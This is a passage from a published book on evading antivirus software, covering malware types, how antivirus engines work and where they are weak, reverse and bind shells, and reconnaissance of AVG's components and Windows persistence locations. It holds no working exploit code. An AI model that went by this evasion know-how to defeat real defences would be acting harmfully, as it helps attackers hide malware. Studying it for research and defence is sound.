Chapter 7, Antivirus Bypass Techniques in Red Team Operations, introduces you to
antivirus bypass techniques in real life, what the differences between penetration testing
and red team operations are, and how to perform antivirus fingerprinting in order to
bypass it in a real-life scenario.
Chapter 8, Best Practices and Recommendations, teaches you the best practices and
recommendations for writing secure code and enriching malware detection mechanisms
in order to prevent antivirus bypassing in the future.
Preface xiii
To get the most out of this book
You need to have a basic understanding of the security landscape, and an understanding
of malware types and families. Also, an understanding of the Windows operating system
and its internals, knowledge of programming languages such as Assembly x86, C/C++,
Python, and PowerShell, and practical knowledge of conducting basic malware analysis.
Code in Action
Code in Action videos for this book can be viewed at https://bit.ly/3cFEjBw
Download the color images
We also provide a PDF file that has color images of the screenshots/diagrams used in this
book. You can download it here: http://www.packtpub.com/sites/default/
files/downloads/9781801079747_ColorImages.pdf.
xiv Preface
Conventions used
There are a number of text conventions used throughout this book.
Code in text: Indicates code words in text, database table names, folder names,
filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles.
Here is an example: "The first option is to use rundll32.exe, which allows the
execution of a function contained within a DLL file using the command line".
Any command-line input or output is written as follows:
RUNDLL32.EXE <dllname>,<entrypoint> <argument>
Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"In order to display the full results of the Jujubox sandbox, you need to click on the
BEHAVIOR tab, click on VirusTotal Jujubox, and then Full report".
Tips or important notes
Appear like this.
Disclaimer
The information within this book is intended to be used only in an ethical manner. Do not
use any information from the book if you do not have written permission from the owner of
the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted to
the full extent of the law. Packt Publishing, Nir Yehoshua, and Uriel Kosayev (the authors
of the book) do not take any responsibility if you misuse any of the information contained
within the book. The information herein must only be used while testing environments with
proper written authorizations from appropriate persons responsible.
Get in touch
Feedback from our readers is always welcome.
General feedback: If you have questions about any aspect of this book, mention the book
title in the subject of your message and email us at [email protected].
Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packtpub.com/support/errata, selecting your
book, clicking on the Errata Submission Form link, and entering the details.
Preface xv
Piracy: If you come across any illegal copies of our works in any form on the Internet,
we would be grateful if you would provide us with the location address or website name.
Please contact us at [email protected] with a link to the material.
If you are interested in becoming an author: If there is a topic that you have expertise in
and you are interested in either writing or contributing to a book, please visit authors.
packtpub.com.
Reviews
Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about
our products, and our authors can see your feedback on their book. Thank you!
For more information about Packt, please visit packt.com.
Section 1:
Know the Antivirus
– the Basics Behind
Your Security
Solution
In this first section, we’ll explore the basics of antivirus software, get to know the engines
behind antivirus software, collect leads for research, and learn about the authors’ two
bypass approaches in order to prepare us for understanding how to bypass and evade
antivirus software.
This part of the book comprises the following chapters:
• Chapter 1, Introduction to the Security Landscape
• Chapter 2, Before Research Begins
• Chapter 3, Antivirus Research Approaches
1
Introduction to the
Security Landscape
This chapter provides an overview of our connected world. Specifically, it looks at how
cybercriminals in the cyber landscape are becoming more sophisticated and dangerous.
It looks at how they abuse the worldwide connectivity between people and technology. In
recent years, the damage from cyberattacks has become increasingly destructive and the
majority of the population actually thinks that antivirus software will protect them from
all kinds of cyber threats. Of course, this is not true and there are always security aspects
that need to be dealt with in order to improve antivirus software's overall security and
detections.
Many people and organizations believe that if they have antivirus software installed on
their endpoints, they are totally protected. However, in this book, we will demonstrate –
based on our original research of several antivirus products – why this is not completely
true. In this book, we will describe the types of antivirus engines on the market, explore
how antivirus software deals with threats, demonstrate the ways in which antivirus
software can be bypassed, and much more.
4 Introduction to the Security Landscape
In this chapter, we will explore the following topics:
• Defining malware and its types
• Exploring protection systems
• Antivirus – the basics
• Antivirus bypass in a nutshell
Understanding the security landscape
In recent years, the internet has become our main way to transfer ideas and data. In fact,
almost every home in the developed world has a computer and an internet connection.
The current reality is that most of our lives are digital. For example, we use the web for the
following:
• Shopping online
• Paying taxes online
• Using smart, internet-connected televisions
• Having internet-connected CCTV cameras surrounding our homes and businesses.
• Social media networks and website that we are using in a daily basis to share
information with each other.
This means that anyone can find the most sensitive information, on any regular person, on
their personal computer and smartphone.
This digital transformation, from the physical world to the virtual one, has also unfolded
in the world of crime. Criminal acts in cyberspace are growing exponentially every year,
whether through cyberattacks, malware attacks, or both.
Cybercriminals have several goals, such as the following:
• Theft of credit card data
• Theft of PayPal and banking data
• Information gathering on a target with the goal of later selling the data
• Business information gathering
Of course, when the main goal is money, there's a powerful motivation to steal and collect
sellable information.
Defining malware 5
To deal with such threats and protect users, information security vendors around the
world have developed a range of security solutions for homes and enterprises: Network
Access Control (NAC), Intrusion Detection Systems (IDS)/Intrusion Prevention
Systems (IPS), firewalls, Data Leak Prevention (DLP), Endpoint Detection and
Response (EDR), antiviruses, and more.
But despite the wide variety of products available, the simplest solution for PCs and other
endpoints is antivirus software. This explains why it has become by far the most popular
product in the field. Most PC vendors, for example, offer antivirus licenses bundled with
a computer purchase, in the hope that the product will succeed in protecting users from
cyberattacks and malware.
The research presented in this book is based on several types of malicious software
that we wrote ourselves in order to demonstrate the variety of bypass techniques.
Later in this book, we will explore details of the malware we created, along with
other known and publicly available resources, to simplify the processes of the bypass
techniques we used.
Now that we have understood why organizations and individuals use antivirus software,
let's delve into the malware types, malicious actors, and more.
Defining malware
Malware is a portmanteau of malicious software. It refers to code, a payload, or a file
whose purpose is to infiltrate and cause damage to the endpoint in a few different ways,
such as the following:
• Receive complete access to the endpoint
• Steal sensitive information such as passwords and the like
• Encrypt files and demand a ransom
• Ruin the user experience
• Perform user tracking and sell the information
• Show ads to the user
• Attack third-party endpoints in a botnet attack
Over the years, many companies have developed antivirus software that aims to combat
all types of malware threats, which have multiplied over the years, with the potential for
harm also growing every single day.
6 Introduction to the Security Landscape
Types of malware
To understand how to bypass antivirus software, it's best to map out the different kinds
of malware out there. This helps us get into the heads of the people writing antivirus
signatures and other engines. It will help us recognize what they're looking for, and when
they find a malicious file, to understand how they classify the malware file:
• Virus: A malware type that replicates itself in the system.
• Worm: A type of malware whose purpose is to spread throughout a network and
infect endpoints connected to that network in order to carry out some future
malicious action. A worm can be integrated as a component of various types of
malware.
• Rootkit: A type of malware that is found in lower levels of the operating system that
tend to be highly privileged. Many times, its purpose is to hide other malicious files.
• Downloader: A type of malware whose function is to download and run from the
internet some other malicious file whose purpose is to harm the user.
• Ransomware: A type of malware whose purpose is to encrypt the endpoint and
demand financial ransom from the user before they can access their files.
• Botnet: Botnet malware causes the user to be a small part of a large network of
infected computers. Botnet victims receive the same commands simultaneously
from the attacker's server and may even be part of some future attack.
• Backdoor: A type of malware whose purpose is – as the name suggests – to leave
open a "back door", providing the attacker with ongoing access to the user's
endpoint.
• PUP: An acronym that stands for potentially unwanted program, a name that
includes malware whose purpose is to present undesirable content to the user, for
instance, ads.
• Dropper: A type of malware whose purpose is to "drop" a component of itself into
the hard drive.
• Scareware: A type of malware that presents false data about the endpoint it is
installed on, so as to frighten the user into performing actions that could be
malicious, such as installing fake antivirus software or even paying money for it.
• Trojan: A type of malware that performs as if it were a legitimate, innocent
application within the operating system (for example, antivirus, free games, or
Windows/Office activation) and contains malicious functionality.
• Spyware: A type of malware whose purpose is to spy on the user and steal their
information to sell it for financial gain.
Exploring protection systems 7
Important Note
Malware variants and families are classified based not only on the main
purpose or goal of the malware but also on its capabilities. For example, the
WannaCry ransomware is classified as such because its main goal is to encrypt
the victim's files and demand ransom, but WannaCry is also considered and
classified as Trojan malware, as it impersonates a legitimate disk partition
utility, and is also classified and detected as a worm because of its ability to
laterally move and infect other computers in the network by exploiting the
notorious EternalBlue SMB vulnerability.
Now that we have understood malware and its varieties, we should take a look at the
systems created to guard against these intrusions.
Exploring protection systems
Antivirus software is the most basic type of protection system used to defend endpoints
against malware. But besides antivirus software (which we will explore in the Antivirus –
the basics section), there are many other types of products to protect a home and business
user from these threats, both at the endpoint and network levels, including the following:
• EDR: The purpose of EDR systems is to protect the business user from malware
attacks through real-time response to any type of event defined as malicious.
For example, a security engineer from a particular company can define within the
company's EDR that if a file attempts to perform a change to the SQLServer.exe
process, it will send an alert to the EDR's dashboard.
• Firewall: A system for monitoring, blocking, and identification of network-based
threats, based on a pre-defined policy.
• IDS/IPS: IDS and IPS provide network-level security, based on generic signatures,
which inspects network packets and searches for malicious patterns or malicious
flow.
• DLP: DLP's sole purpose is to stop and report on sensitive data exfiltrated from
the organization, whether on portable media (thumb drive/disk on key), email,
uploading to a file server, or more.
Now that we have understood which security solutions exist and their purpose in securing
organizations and individuals, we will understand the fundamentals of antivirus software
and the benefits of antivirus research bypass.
8 Introduction to the Security Landscape
Antivirus – the basics
Antivirus software is intended to detect and prevent the spread of malicious files and
processes within the operating system, thus protecting the endpoint from running them.
Over time, antivirus engines have improved and become smarter and more sophisticated;
however, the foundation is identical in most products.
The majority of antivirus products today are based on just a few engines, with each engine
having a different goal, as follows:
• Static engine
• Dynamic engine (includes the sandbox engine)
• Heuristic engine
• Unpacking engine
Of course, most of these engines have their own drawbacks. For example, the drawback of
a static engine is that it is extremely basic, as its name implies. Its goal is to identify threats
using static signatures, for instance, the YARA signature (YARA, Welcome to YARA's
documentation, https://yara.readthedocs.io/en/stable/). These signatures
are written from time to time and updated by antivirus security analysts on an almost
daily basis.
During a scan, the static engine of the antivirus software conducts comparisons of
existing files within the operating system to a database of signatures, and in this way
can identify malware. However, in practice, it is impossible to identify all malware that
exists using static signatures because any change to a particular malware file may bypass a
particular static signature, and perhaps even completely bypass the static engine.
The following diagram demonstrates the static engine scanning flow:
Antivirus – the basics 9
Figure 1.1 – Antivirus static engine illustration
Using a dynamic engine, antivirus software becomes a little more advanced. This type of
engine can detect malware dynamically (when the malware is executed in the system).
The dynamic engine is a little more advanced than the static engine, and its role is to
check the file at runtime, through several methods.
The first method is API monitoring – the goal of API monitoring is to intercept API calls
in the operating system and to detect the malicious ones. The API monitoring is done by
system hooks.
The second method is sandboxing. A sandbox is a virtual environment that is separated
from the memory of the physical host computer. This allows the detection and analysis of
malicious software by executing it within a virtual environment, and not directly on the
memory of the physical computer itself.
Running malware inside a sandboxed environment will be effective against it especially
when not signed and detected by the static engine of the antivirus software.
One of the big drawbacks of such a sandbox engine is that malware is executed only for
a limited time. Security researchers and threat actors can learn what period of time the
malware is executing in a sandbox for, suspend the malicious activity for this limited
period of time, and only then run its designated malicious functionality.
10 Introduction to the Security Landscape
The following diagram demonstrates the dynamic engine scanning flow:
Figure 1.2 – Antivirus dynamic engine illustration
Using a heuristic engine, antivirus software becomes even more advanced. This type of
engine determines a score for each file by conducting a statistical analysis that combines
the static and dynamic engine methodologies.
Heuristic-based detection is a method, that based on pre-defined behavioral rules, can
detect potentially malicious behavior of running processes. Examples of such rules can be
the following:
• If a process tries to interact with the LSASS.exe process that contains users'
NTLM hashes, Kerberos tickets, and more
• If a process that is not signed by a reputable vendor tries to write itself into a
persistent location
• If a process opens a listening port and waits to receive commands from a Command
and Control (C2) server
The main drawback of the heuristic engine is that it can lead to a large number of false
positive detections, and through several simple tests using trial and error, it is also possible
to learn how the engine works and bypass it.
The following diagram demonstrates the heuristic engine scanning flow:
Figure 1.3 – Antivirus heuristic engine illustration
Antivirus bypass in a nutshell 11
Another type of engine that is widely used by antivirus software is called the unpacker
engine. In Chapter 5, Bypassing the Static Engine, we will discuss what a packer is, how the
unpacking process works, and how to bypass antivirus software using packing.
One of the major drawbacks of today's advanced antivirus software centers on their use
of unpackers, tools used by antivirus engines to reveal malicious software payloads that
have undergone "packing," or compression, to hide a malicious pattern and thus thwart
signature-based detection.
The problem is that there are lots of packers today that antivirus software does not have
unpackers for. In order to create automated unpacker software, security researchers from
the antivirus software vendor must first perform manual unpacking – and only then can
they create an automated process to unpack it and add it to one of their antivirus engines.
Now that we understand the basic engines that exist in almost every antivirus software,
we can move on to recognize practical ways to bypass them to ultimately reach the point
where we are running malware that lets us remotely control the endpoint even while the
antivirus software is up and running.
Antivirus bypass in a nutshell
In order to prove the central claim of this book, that antivirus software cannot protect
the user completely, we decided to conduct research. Our research is practically tested
based on our written and compiled EXE files containing code that actually performs the
techniques we will explain later on, along with payloads that perform the bypass. The goal
of this research wasn't just to obtain a shell on the endpoint, but rather to actually control
it, transmit remote commands, download files from the internet, steal information, initiate
processes, and many more actions – all without any alert from the antivirus software.
It is important to realize that just because we were able to bypass a particular antivirus
software, that does not mean that it is not good software or that we are recommending
against it. The environment in which the antivirus software was tested is a LAN
environment and it is entirely possible that in a WAN environment, the result might have
been different.
The communication between the malware and the C2 server was done using the TCP
protocol in two ways:
• Reverse shell
• Bind shell
12 Introduction to the Security Landscape
The difference between these two methods lies in how communication is transmitted from
the malware to the attacker's C2 server. Using the method of the bind shell, the malware
acts as a server on the victim endpoint, listening on a fixed port or even several ports.
The attacker can interact with the endpoint using these listening port(s) at any time the
malware is running.
Using the reverse shell method, the listening fixed port will be open on the attacker's C2
server and the malware acts as a client, which in turn will connect to the attacker's C2
server using a random source port that is opened on the victim endpoint.
The following diagram demonstrates the differences between reverse and bind shell:
Figure 1.4 – Reverse shell and bind shell
Most of the time, threat actors will prefer to base their malicious payload to interact
with their C2 servers on the reverse shell technique. This is because it is relatively easy to
implement; it will work behind Network Address Translation (NAT) and it will probably
have the chance to fool antivirus software and firewall solutions.
Summary 13
Summary
In today's world, antivirus software is an integral part of security for endpoints including
computers and servers, ranging from ordinary users to the largest organizations.
Most companies depend on antivirus software as a first or even last line of defense
against cyber threats. Because of this, we decided to research antivirus software, find
vulnerabilities in their engines, and most importantly, discover ways to bypass them to
prove that they simply do not provide a completely bulletproof solution.
To conduct antivirus bypass research, it is crucial to understand the cybersecurity
landscape. Every day, new risks and threats for home and business users emerge. It
is important to get familiar with security solutions that provide better cybersecurity.
Additionally, it's important, of course, to understand the basic solution, the antivirus, and
to understand its inner workings and fundamentals to conduct better antivirus research.
This helps both users and organizations evaluate whether their antivirus software provides
the expected level of security.
In the next chapter, you will learn about the fundamentals and the usage of various tools
that will help in conducting antivirus research lead gathering that will eventually influence
the next levels of antivirus bypass research.
2
Before Research
Begins
To get started researching antivirus software, we first have to take several preliminary
steps to ensure that our research will be at the highest possible level and take the least
possible time.
Unlike "regular" research, which security researchers and reverse engineers conduct
on files, antivirus research is different in its ultimate goal. We must understand that
antivirus software is in fact a number of files and components joined together, and most
of these files and components are operated through a central process, which is usually the
antivirus's GUI-based process.
In this chapter, you will understand how antivirus works in the Windows environment.
Furthermore, you will learn how to gather antivirus research leads by using basic dynamic
malware analysis tools to perform antivirus research.
In this chapter, we will explore the following topics:
• Getting started with the research
• The work environment and lead gathering
• Defining a lead
• Working with Process Explorer
16 Before Research Begins
• Working with Process Monitor
• Working with Autoruns
• Working with Regshot
Technical requirements
Previous experience with malware analysis tools is required.
Getting started with the research
The number of files and components that make up antivirus software can reach the
hundreds, with each file being proficient in a different antivirus model. For example, a
particular process is responsible for monitoring files within the operating system, while
another is responsible for static file scanning, another process can run the antivirus
service on the operating system, and so on.
Choosing the right files and components for investigative purposes is critical, as all
research takes time. We do not want to waste our time researching a file or component
that is irrelevant for bypassing antivirus software.
That is why, before we conduct the research itself, we have to gather research leads and
assign them a particular priority. For example, consider how much time and resources to
invest in each lead.
Additionally, it is important to understand that most antivirus software has a self-
protection mechanism. Its goal is to make it difficult for malware to turn off the antivirus
or make changes without end user authorization. Even though some antivirus software
may use self-protection, it will still be possible to bypass these self-protection techniques.
The work environment and lead gathering
Before we start conducting antivirus research, we have to first understand some of the
more fundamental aspects of how our operating system functions.
Here are the three main concepts that are important to us while gathering leads.
The work environment and lead gathering 17
Process
A process is an object of a file that is loaded from the hard disk to the system's memory
when executed. For example, mspaint.exe is the process name for the Windows Paint
application:
Figure 2.1 – Process Explorer in Windows 10
Figure 2.1 shows processes running on Windows 10, using the Process Explorer tool.
18 Before Research Begins
Thread
A thread is a unit that is assigned by the operating system in order for the CPU to execute
the code (CPU instructions) in a process. In a process, you can have multiple threads but
it is mandatory to have at least one main thread:
Figure 2.2 – Running threads under a process in Windows 10
Registry
The registry is the Windows operating system database that contains information
required to boot and configure the system. The registry also contains base configurations
for other Windows programs and applications:
The work environment and lead gathering 19
Figure 2.3 – Illustration of the registry
In addition, it will be helpful before we begin to clarify what a lead is and why it is
necessary to gather leads.
To research antivirus software, we used virtualization software called VMware Fusion in
the Macintosh line of products. If you are using a Windows-based machine, you can use
VMware Workstation to install a Windows 10 virtual operating system. After installing
the operating system, we install VMware Tools and the AVG Antivirus software for lead
gathering. At that point, it is important to perform a snapshot so that later on, we can go
back and start fresh each time, without worrying that something will get in the way of our
lead gathering.
20 Before Research Begins
Defining a lead
The antivirus research lead is a file that we know the purpose of in the overall operation
of the antivirus software and that we have found suitable to add to our research. Lead files
are the most relevant files in antivirus research.
We can compare lead gathering to the first stage of a penetration test, known as
reconnaissance. When we are performing reconnaissance on a target, that information is a
type of lead, and we can use it to advance toward accomplishing our goal.
To gather leads, we must discover how the antivirus software works on the operating
system and what its flow is.
As we wrote earlier, the work environment we used to conduct these examples of lead
gathering is Windows 10 with AVG 2020 installed. In order to gather leads, we used a
range of dynamic malware analysis tools in this chapter, such as the Sysinternals suite
(https://docs.microsoft.com/en-us/sysinternals/downloads/
sysinternals-suite) and Regshot (https://sourceforge.net/projects/
regshot/).
Working with Process Explorer
Once we understand what processes are in the operating system, we will want to see them
on our endpoint, in order to gather antivirus research leads.
To see a list of processes running on the operating system, we will use the Process
Explorer tool (https://docs.microsoft.com/en-us/sysinternals/
downloads/process-explorer), which will provide us with a lot of relevant
information about the processes that are running in the operating system:
Working with Process Explorer 21
Figure 2.4 – The first glimpse of Process Explorer
In Figure 2.4, you can see a list of the processes that are currently running in the Windows
operating system, with a lot of other relevant information.
22 Before Research Begins
In order to conduct the research in the right way, it is important to understand the data
provided by Process Explorer. From left to right, we can see the following information:
• Process – the filename of the process with its icon
• CPU – the percentage of CPU resources of the process
• Private Bytes – the amount of memory allocated to the process
• Working Set – the amount of RAM allocated to this process
• PID – the process identifier
• Description – a description of the process
• Company Name – the company name of the process:
Figure 2.5 – Process Explorer columns
Process Explorer gives the option to add more columns, to get more information about
any process in the operating system.
You can get the information by right-clicking on one of the columns and then clicking
Select Columns:
Figure 2.6 – The Select Columns button
After clicking the Select Columns button, a window with additional options will open,
and you can click on the options that you want to additionally add to the main Process
Explorer columns:
Working with Process Explorer 23
Figure 2.7 – Select Columns options
To get data about a specific process in the operating system, we can double-click on the
process name and then we will get the following window:
Figure 2.8 – Interesting data about the process we clicked
24 Before Research Begins
Some interesting data about the process can include the following:
• Image – information about the process, including its version, build time, path, and
more
• Performance – information regarding the performance of the process
• Performance Graph – graph-based information regarding the performance of the
process
• Disk and Network – the count of disk and network Input/Output (I/O)
• CPU Graph – graph-based data about the CPU usage, dedicated GPU memory,
system GPU memory, and more
• Threads – the threads of the process
• TCP/IP – ingoing and outgoing network connections
• Security – the permissions of the process
• Environment – the environment variables
• Job – the list of processes that are assigned to a job object
• Strings – strings that are part of the process (image-level and memory-level)
In order for the antivirus software to conduct monitoring on every process that exists
within the operating system, it usually executes a hook.
This hook is usually a DLL that is injected into every process running within the operating
system, and it contains within it some type of information that will interest us later on. In
order to view which DLLs are involved, along with their names and paths, we can use the
Process Explorer tool, find the process we wish to investigate, select it by clicking on it,
then press Ctrl + D. This is the result:
Working with Process Explorer 25
Figure 2.9 – Two interesting DLL files of AVG Antivirus
We can see here (in the rectangle in Figure 2.9) that two DLLs of AVG Antivirus have
been added to the process in the operating system. Later on, these leads can be further
investigated.
Let's do the same thing, but this time on the System process (PID 4):
Figure 2.10 – Twelve interesting sys files of AVG Antivirus
Here, we can see that 12 AVG sys files have been loaded to the System process.
26 Before Research Begins
Including the two DLLs we saw in the previous screenshot, we now have 14 files we can
investigate later on, and these are our 14 leads for future research.
Tip
You can use Process Explorer's Description column to shorten your research
time and it can help you understand what a file is supposed to do.
Working with Process Monitor
Now that we have seen how to gather leads using Process Explorer as well as which
antivirus processes are running and monitoring the actions of the operating system
without any user involvement, we can continue gathering research leads. This time, we
will find the process the antivirus software uses to conduct file scans. We'll locate this lead
through operating system monitoring using the Process Monitor tool.
Processor Monitor (https://docs.microsoft.com/en-us/sysinternals/
downloads/procmon) is a tool that can be used to observe the behavior of each process
in the operating system. For example, if we run the notepad.exe process, writing
content into it, and then save the content into a file, Process Monitor will be able to see
everything that happened from the moment we executed the process, until the moment
we closed it, like in the following example:
Working with Process Monitor 27
Figure 2.11 – Actions of notepad.exe shown in Process Monitor
28 Before Research Begins
You can double-click on any of the events to get more data about a specific event. The
following screenshot is the Event Properties window after we double-clicked it:
Figure 2.12 – Event Properties window in Process Monitor
There are three tabs that can help us to know more about the event:
• Event – information about the event, such as the date of the event, the result of the
operation that created the event, the path of the executable, and more
• Process – information about the process in the event
• Stack – the stack of the process
Before we run a scan on a test file, we first need to run Process Monitor (procmon.exe).
After starting up Process Monitor, we can see that there are many processes executing
many actions on the operating system, so we need to use filtering.
The filter button is on the main toolbar:
Figure 2.13 – The filter button
Working with Process Monitor 29
We will need to use filtering by company because the company name is the one absolutely
certain thing we know about the process that's about to be executed. We don't know the
name of the process that's going to be executed on the disk, and we don't know what its
process ID will be, but we know the company name we are looking for will be AVG. To the
company name, we can add the contains condition:
Figure 2.14 – Filter by company name example
Then, with the Process Monitor tool running in the background, let's take the test file we
want to scan, right-click on it, and select Scan selected items for viruses:
Figure 2.15 – The Scan selected items for viruses button
30 Before Research Begins
After selecting Scan selected items for viruses, we will return to Process Monitor and
observe that two processes are involved in the scan – one called AVGUI.exe and one
called AVGSvc.exe:
Figure 2.16 – The results of the filter we used
From this, we can now conclude that the AVGSvc.exe process, which is the AVG service,
is also involved in scanning the file for viruses. After that, the process called AVGUI.exe,
which is AVG's GUI process, begins executing. So based on this, we can add these two
processes to our research leads list.
After the file scanning, it is possible to see the execution flow in a tree view of the antivirus
processes that were involved in the file scanning, by pressing Ctrl + T:
Working with Process Monitor 31
Figure 2.17 – The Process Tree window of Process Monitor
The Process Tree view can give us a lot of information about the flow of executed
processes in the system that can indicate to us which parent processes create which child
processes. This can help us understand the components of the antivirus software.
Tip
To show only EXE files in Process Monitor, you can filter by Path and choose
the condition ends with, specifying the value .exe:
Figure 2.18 – Filter by Path followed by the .exe extension
Now that we have seen how to work with tools regarding system processes, such as
Process Explorer and Process Monitor, let's learn how to work with more tools that will
give us more antivirus research leads.
32 Before Research Begins
Working with Autoruns
As in all operating systems, Windows contains many places where persistence may be
used, and just as malware authors do, antivirus companies want to make use of persistence
to start their processes when the operating system starts up.
In Windows, there are many places where it is possible to place files that will be started
when the operating system starts up, such as the following:
• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\RunOnce
• HKLM\System\CurrentControlSet\Services
• HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer\Run
• %AppData%\Microsoft\Windows\Start Menu\Programs\Startup
But you will not need to memorize all these locations, because there is a tool called
Autoruns (https://docs.microsoft.com/en-us/sysinternals/
downloads/autoruns) for exactly this purpose.
Using Autoruns, we can display all the locations where persistence can take place within
the operating system.
And for each location, we can create a list of files that start up with the operating system.
Using these lists, we can gather even more leads for antivirus research.
When we run Autoruns, we can also use filters, and this time as well, we are going to
specify a string, which is the name of the antivirus software – AVG:
Figure 2.19 – Filter by AVG results in Autoruns
Working with Regshot 33
After filtering the string of AVG, Autoruns displays dozens of AVG files that start up with
the operating system. Besides the name of the file, each line also includes the location of
the file, its description, publisher name, and more.
The files displayed by Autoruns can include critical AVG files and, if a particular file
doesn't run, the antivirus program can't work properly. So, it is only logical that these are
the files we should choose to focus on for future research, and we will gather these files as
leads to make our research more efficient.
Working with Regshot
While gathering leads to conduct antivirus research, we also need to understand which
registry values the antivirus software has added to help us figure out which files and
registry values it has added. To gather this information, we're going to use the Regshot
tool.
Regshot is an open source tool that lets you take a snapshot of your registry, then compare
two registry shots, before and after installing a program.
To take the first shot, we open the tool, define whether we want the output in HTML or
plain text format, define the save location of the file, and then click 1st shot:
Figure 2.20 – The 1st shot button in Regshot
34 Before Research Begins
Only after taking the first shot will we install the antivirus software we are interested in
researching. After completing the installation, go back into Regshot and click 2nd shot:
Figure 2.21 – The 2nd shot button in Regshot
After taking the second shot, you can then click Compare.
This will create an output file of the type selected by the user (plain text or HTML). This
output file will display all registry changes that took place after installing the antivirus
software:
Working with Regshot 35
Figure 2.22 – AVG Antivirus Regshot diff results
Obviously, in order to gather leads, we have to gather these locations of registry values,
but what's interesting is that these are mainly EXE and DLL files. If we search within this
output file for DLL and EXE files, we can get even more valuable results:
Figure 2.23 – Accessing the registry via PowerShell
36 Before Research Begins
Also, it is good to know that you do not have to use Regedit or any other third-party
tools like Regshot to access and search the registry; you can use PowerShell as seen in the
preceding screenshot.
Third-party engines
Finally, it is important to realize that some antivirus software companies use third-party
engines produced by other companies.
Here's a full list of vendors and the third-party engines they use (https://www.
av-comparatives.org/list-of-consumer-av-vendors-pc/):
Table 2.1 – Antivirus third-party static engines
Understanding which antiviruses share third-party engines means that when you are
gathering leads for one antivirus software, you can shorten your research time and use the
same leads for another antivirus software.
Summary 37
Summary
Gathering leads is a critical step in the process of preparing to research antivirus software.
In this chapter, we have demonstrated several tools from the Sysinternals suite as well as
the Regshot utility. Using these, we can gather up leads to get ready for this research.
We recommend continuing to look for more tools to help locate additional leads. There
are also other excellent dynamic malware analysis tools you can use.
In the next chapter, we will discuss our two antivirus bypass approaches, the fundamentals
of the Windows operating system, the protection rings model, and more.
3
Antivirus Research
Approaches
In this chapter, you will learn about the Windows operating system protection rings
concept, we will introduce two of our real-life bypass examples, and you will also learn the
basic three vulnerabilities that can be used to bypass antivirus software.
After explaining what leads are, how they help us, and how to gather them to start
conducting antivirus research, we have now come to the stage where it is time to choose
which approach is most appropriate for conducting research on antivirus software and
then starting to research the leads we found in the previous chapter.
In this chapter, we will go through the following topics:
• Understanding the approaches to antivirus research
• Introducing the Windows operating system
• Understanding protection rings
• Protection rings in the Windows operating system
• Windows access control list
40 Antivirus Research Approaches
• Permission problems in antivirus software
• Unquoted Service Path
• DLL hijacking
• Buffer overflow
Understanding the approaches to antivirus
research
There are two main approaches to antivirus research. Both ultimately need to lead to the
same result, which is always bypassing antivirus software and running malicious code on
the user's endpoint.
The two antivirus research approaches are the following:
• Finding a vulnerability in antivirus software
• Using a detection bypass method
As with any code, antivirus software will also contain vulnerabilities that can be taken
advantage of. Sometimes, these vulnerabilities may allow controlling the antivirus
software's means of detection, prevention, or both.
In upcoming sections, we will look at a few possible vulnerabilities that can help us bypass
antivirus software.
Important note
There are a lot of vulnerabilities that we can use to bypass antivirus software,
beyond the vulnerabilities we have mentioned in this chapter. For a more
comprehensive list of vulnerabilities, check the following link: https://
cve.mitre.org/cgi-bin/cvekey.cgi?keyword=antivirus.
Introducing the Windows operating system
As in this book we are discussing bypassing Windows-based antivirus software, we will
now discuss the Windows operating system and its security protection mechanisms.
The earliest Windows operating systems were developed for specific CPUs and other
hardware specifications. Windows NT introduced a new breed of Windows, a process-
independent operating system that also supports multiprocessing, a multi-user
environment, and offers a separate version for workstations and servers.
Introducing the Windows operating system 41
Initially, Windows NT was written for 32-bit processors, but it was later expanded to a
broader architecture range, including IA-32, MIPS, Itanium, ARM, and more. Microsoft
also added support for 64-bit CPU architectures along with major new features such as
Windows API/Native API, Active Directory, NTFS, Hardware Abstraction Layer, security
improvements, and many more.
Over the years, many parties criticized Microsoft for its lack of emphasis on information
security in the Windows operating systems. For example, in the following screenshot, we
can see that even the authors of the Blaster malware complained about the security of the
Windows OS:
Figure 3.1 – Blaster malware asks Bill "billy" Gates to fix his software
With time, Microsoft decided to change its approach and implement several security
mechanisms against common attacks that exploited built-in operating system-level
vulnerabilities. The prominent implemented security mechanisms are as follows:
• ASLR – Address Space Layout Randomization
• DEP – Data Execution Prevention
• SEHOP – Structured Exception Handling Overwrite Protection
42 Antivirus Research Approaches
The ASLR security mechanism prevents malware from exploiting security vulnerabilities
that are based on expected memory locations in the operating system. ASLR does this by
randomizing the memory address space and loads crucial DLLs into memory addresses
that were randomized at boot time:
Figure 3.2 – ASLR illustration
In the preceding screenshot, you can see that DLL files are loaded into ASLR-randomized
memory locations at boot time.
The DEP memory security mechanism prevents code from executing on specific memory
regions that are marked as a non-executable memory page. This in turn prevents or at
least hardens exploitation attempts of buffer overflow vulnerabilities.
The SEHOP runtime security mechanism prevents the exploitation attempts of malicious
code by abusing the SEH operating system structure by using the exploitation technique
of SEH overwrite. This security mechanism can also be deployed by a Group Policy setting
of Process Mitigation Options.
After the introduction of the Windows operating system and its security mechanisms, let's
continue with protection rings.
Understanding protection rings
Before we explain vulnerabilities that can be exploited because of permission problems, it
is important to understand the concept of protection rings in operating systems.
The term protection ring refers to a hierarchical mechanism implemented on CPUs and
utilized by operating systems such as Windows to protect the system by providing fault
tolerance and, of course, to better protect from malicious activity and behavior. Each ring
in this mechanism has a unique role in the overall functioning of the operating system, as
seen in the following illustration:
Protection rings in the Windows operating system 43
Figure 3.3 – Protection ring layers
The lower the number of the ring, the closer it is to the hardware and, therefore, the higher
its privilege level. As you can see in the illustration, Ring 0 is the operating system kernel,
which provides "back-to-back" access to the hardware from the higher rings and vice
versa. Antivirus software tends to deploy its inspection mechanisms in the lower rings,
mostly as a driver. The lower rings offer more visibility to the antivirus engine, letting it
inspect actions conducted on the operating system, including malicious actions.
Protection rings in the Windows operating
system
The lower the ring, the more privileges and visibility it has in the overall operating system.
As the wise saying goes, "With great power comes great responsibility". Here are brief
